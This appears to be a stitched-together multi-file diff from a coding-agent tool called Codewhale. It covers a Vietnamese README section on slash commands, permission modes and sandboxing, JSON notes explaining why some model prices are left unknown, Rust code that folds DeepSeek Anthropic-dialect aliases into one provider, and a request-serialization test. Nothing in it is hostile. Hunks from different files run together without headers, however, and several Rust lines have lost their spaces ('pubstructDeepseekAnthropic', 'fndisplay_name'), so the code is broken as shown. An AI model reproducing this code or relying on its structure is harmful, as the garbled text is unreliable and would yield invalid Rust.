duyệt bình thường.
worker, `/undo` hoàn tác lượt gần nhất, và `/restore <N>` đưa workspace về một
ảnh chụp trước đó (`/restore` không tham số chỉ liệt kê chúng). Khi vùng soạn
thảo trống, `Tab` chuyển vòng qua Plan / Work / Operate; khi vùng soạn thảo có
chữ, `Tab` lại hoàn tất lệnh slash và nhắc `@`. `Shift+Tab` chuyển vòng qua tư
thế quyền Ask / Auto-Review / Full Access bất cứ lúc nào. `!` chạy một lệnh
shell qua đường phê duyệt bình thường.
## Tính năng
@@ -59,6 +70,11 @@ duyệt bình thường.
GLM, hơn 30 provider, và vLLM, SGLang hay Ollama của riêng bạn — không cần
key — đều chạy qua một runtime và một bộ công cụ. Ngân sách ngữ cảnh và giá
lấy từ route thật; giá chưa rõ hiển thị là chưa rõ, chứ không phải $0.
- **Một harness do bạn viết.** Vai trò là những tệp bạn có thể đọc và sửa — mỗi
vai trò một model, một tư thế công cụ và các chỉ dẫn thường trực — đặt trong dự
án để cả nhóm dùng chung, hoặc cạnh các thiết lập cá nhân để đi theo bạn giữa
các repo. Constitution ghi lại cách bạn muốn agent hành xử trong mọi phiên, để
harness khớp với cách làm của bạn thay vì của chúng tôi.
- **Chỉ đọc cho tới khi bạn cho phép thêm.** Chế độ Plan không đổi file, và mọi
lệnh rủi ro đều qua phê duyệt. Khi một sandbox của hệ điều hành thực sự bọc
lệnh, Codewhale nói rõ điều đó: Seatbelt trên macOS khi khả dụng, bubblewrap
@@ -72,6 +88,7 @@ duyệt bình thường.
- [docs/PROVIDERS.md](docs/PROVIDERS.md) — mọi route provider: dịch vụ,
gateway và cục bộ
- [docs/FLEET.md](docs/FLEET.md) — fleet, sổ cái và resume
- [docs/WORKFLOW_EXPERIMENTAL_SEARCH.md](docs/WORKFLOW_EXPERIMENTAL_SEARCH.md) — tìm kiếm thử nghiệm trong Workflow, đã đóng băng và trung lập với provider
- [docs/CONFIGURATION.md](docs/CONFIGURATION.md) — `config.toml`, hook và
constitution
- [docs/AUTHORIZATION_ORDER.md](docs/AUTHORIZATION_ORDER.md) — cách các chế độ,
"role":"NOT a competing source of truth. Preferred metadata is the live Models.dev catalog published into ProviderLake (#4187). This asset is used only when live/cache rows are unavailable (offline startup, failed refresh, or empty cache).",
"source":"Compact offline seed of verified in-repo defaults (context/output from crates/tui/src/models.rs; USD pricing from crates/tui/src/pricing.rs) for providers Codewhale ships with. It is intentionally smaller than a full Models.dev dump; live refresh supersedes these rows on (provider, wire_model_id) identity.",
"honesty":"Pricing is intentionally OMITTED where the repo does not publish a trustworthy per-token rate: DeepSeek-native rows (priced via the time-aware DeepSeek table elsewhere, kept UnknownOrStale at the route layer), aggregator-hosted DeepSeek rows (aggregator account terms, not DeepSeek Platform pricing), and Xiaomi MiMo rows (published PAYG rates apply only to sk- pay-as-you-go keys; the catalog cannot distinguish that billing surface from credit/quota Token Plan keys, so MiMo stays unpriced). Absent pricing surfaces as PricingSku::UnknownOrStale, never a fabricated zero.",
"honesty":"Pricing is intentionally OMITTED where the repo does not publish a trustworthy per-token rate: DeepSeek-native rows (priced via the time-aware DeepSeek table elsewhere, kept UnknownOrStale at the route layer), aggregator-hosted DeepSeek rows (aggregator account terms, not DeepSeek Platform pricing), Xiaomi MiMo rows (published PAYG rates apply only to sk- pay-as-you-go keys; the catalog cannot distinguish that billing surface from credit/quota Token Plan keys, so MiMo stays unpriced), and Alibaba Model Studio Token/Coding Plan rows (upstream lists zero per-token cost because usage draws on plan quota, not per-token billing; a zero here would read as 'free'). Absent pricing surfaces as PricingSku::UnknownOrStale, never a fabricated zero.",
"default_rows":"Each provider's `default: true` wire id equals that provider's built-in DEFAULT_*_MODEL so RouteResolver::new() and the descriptor stay in agreement when offline.",
"curated":"qwen3.8-max (GA) is curated ahead of upstream Models.dev, which as of 2026-08-03 lists only qwen3.8-max-preview; facts verified against the owner's Token Plan console (2026-08-03): ~1M context, 128K output, image understanding, always-on reasoning. deepseek-v4-flash-0731 keeps the console/in-repo wire id for the row upstream serves as deepseek-v4-flash. Coding Plan rows for qwen3.8-max-preview, deepseek-v4-pro, deepseek-v4-flash-0731, and glm-5.2 are curated from the Token Plan upstream entries (upstream alibaba-coding-plan does not list them yet); the in-repo route layer already offers the same model set on both plans. Upstream provider ids alibaba-token-plan(-cn) / alibaba-coding-plan(-cn) were merged onto the CodeWhale provider ids (live refresh normalizes them via ProviderKind aliases; the -cn regional variants stay upstream-id browse rows until Codewhale ships China endpoints).",
"pending_release_metadata":"glm-5.3 rows INHERIT every capability/limit/dialect value from glm-5.2 PENDING OFFICIAL Z.AI RELEASE METADATA (added 2026-08-03; glm-5.3 was not live on the Z.ai API at that date and pricing is deliberately absent). Correct here first. Scope is deliberate: only the first-party Z.ai row (GLM-5.3) and its OpenRouter mirror (z-ai/glm-5.3) exist. Metadata inheritance is not evidence of third-party availability, so no OpenCode Zen, OpenCode Go, Model Studio, or TelecomJS glm-5.3 row is seeded; add those only against that gateway's own published roster.",
guidance: "Sign in to Alibaba Cloud Model Studio (Bailian console), create or copy an API key, and select the plan endpoint matching your subscription (Token Plan or Coding Plan).",
},
ProviderKind::Custom=>CredentialHelp{
acquisition: Configuration,
credential_url: None,
@@ -598,6 +617,11 @@ impl Provider for Deepseek {
"deepseek_china",
"deepseekcn",
"deepseek-china",
// Dialect is wire=anthropic on this provider, not a second catalog row.
"deepseek-anthropic",
"deepseek_anthropic",
"deepseek-claude",
"deepseek_claude",
]
}
@@ -607,6 +631,8 @@ impl Provider for Deepseek {
}
/// Opt-in DeepSeek route that speaks the Anthropic Messages wire protocol.
///
/// Legacy kind kept for serde; parse/catalog collapse onto [`Deepseek`].
pubstructDeepseekAnthropic;
implProviderforDeepseekAnthropic{
@@ -619,7 +645,8 @@ impl Provider for DeepseekAnthropic {
}
fndisplay_name(&self)-> &'staticstr{
"DeepSeek (Anthropic-compatible)"
// Legacy dialect kind — catalog surface is "DeepSeek" with wire=anthropic.
"DeepSeek"
}
fndefault_base_url(&self)-> &'staticstr{
@@ -639,7 +666,7 @@ impl Provider for DeepseekAnthropic {
/// Prefix attached to interrupted assistant output when it is replayed as context.
pubconstINTERRUPTED_ASSISTANT_CONTEXT_PREFIX: &str="[The following assistant output was interrupted before completion and may be incomplete or wrong]\n";
/// Provider-owned reasoning continuity that is safe to replay only on the
/// exact originating API and model. The encrypted payload is deliberately
/// separate from readable [`ContentBlock::Thinking`] text.
letfirst_bytes=serde_json::to_vec(&first).expect("serialize first request");
letsecond_bytes=serde_json::to_vec(&second).expect("serialize second request");
assert_eq!(first_bytes,second_bytes);
assert_eq!(
first_bytes,
br#"{"model":"deepseek-v4-flash","messages":[{"role":"user","content":[{"type":"text","text":"inspect the request"}]}],"max_tokens":4096,"system":"system","tools":[{"name":"read_file","description":"Read a file","input_schema":{"zeta":1,"alpha":2,"type":"object"}}],"tool_choice":{"type":"auto"},"reasoning_effort":"high","stream":true}"#
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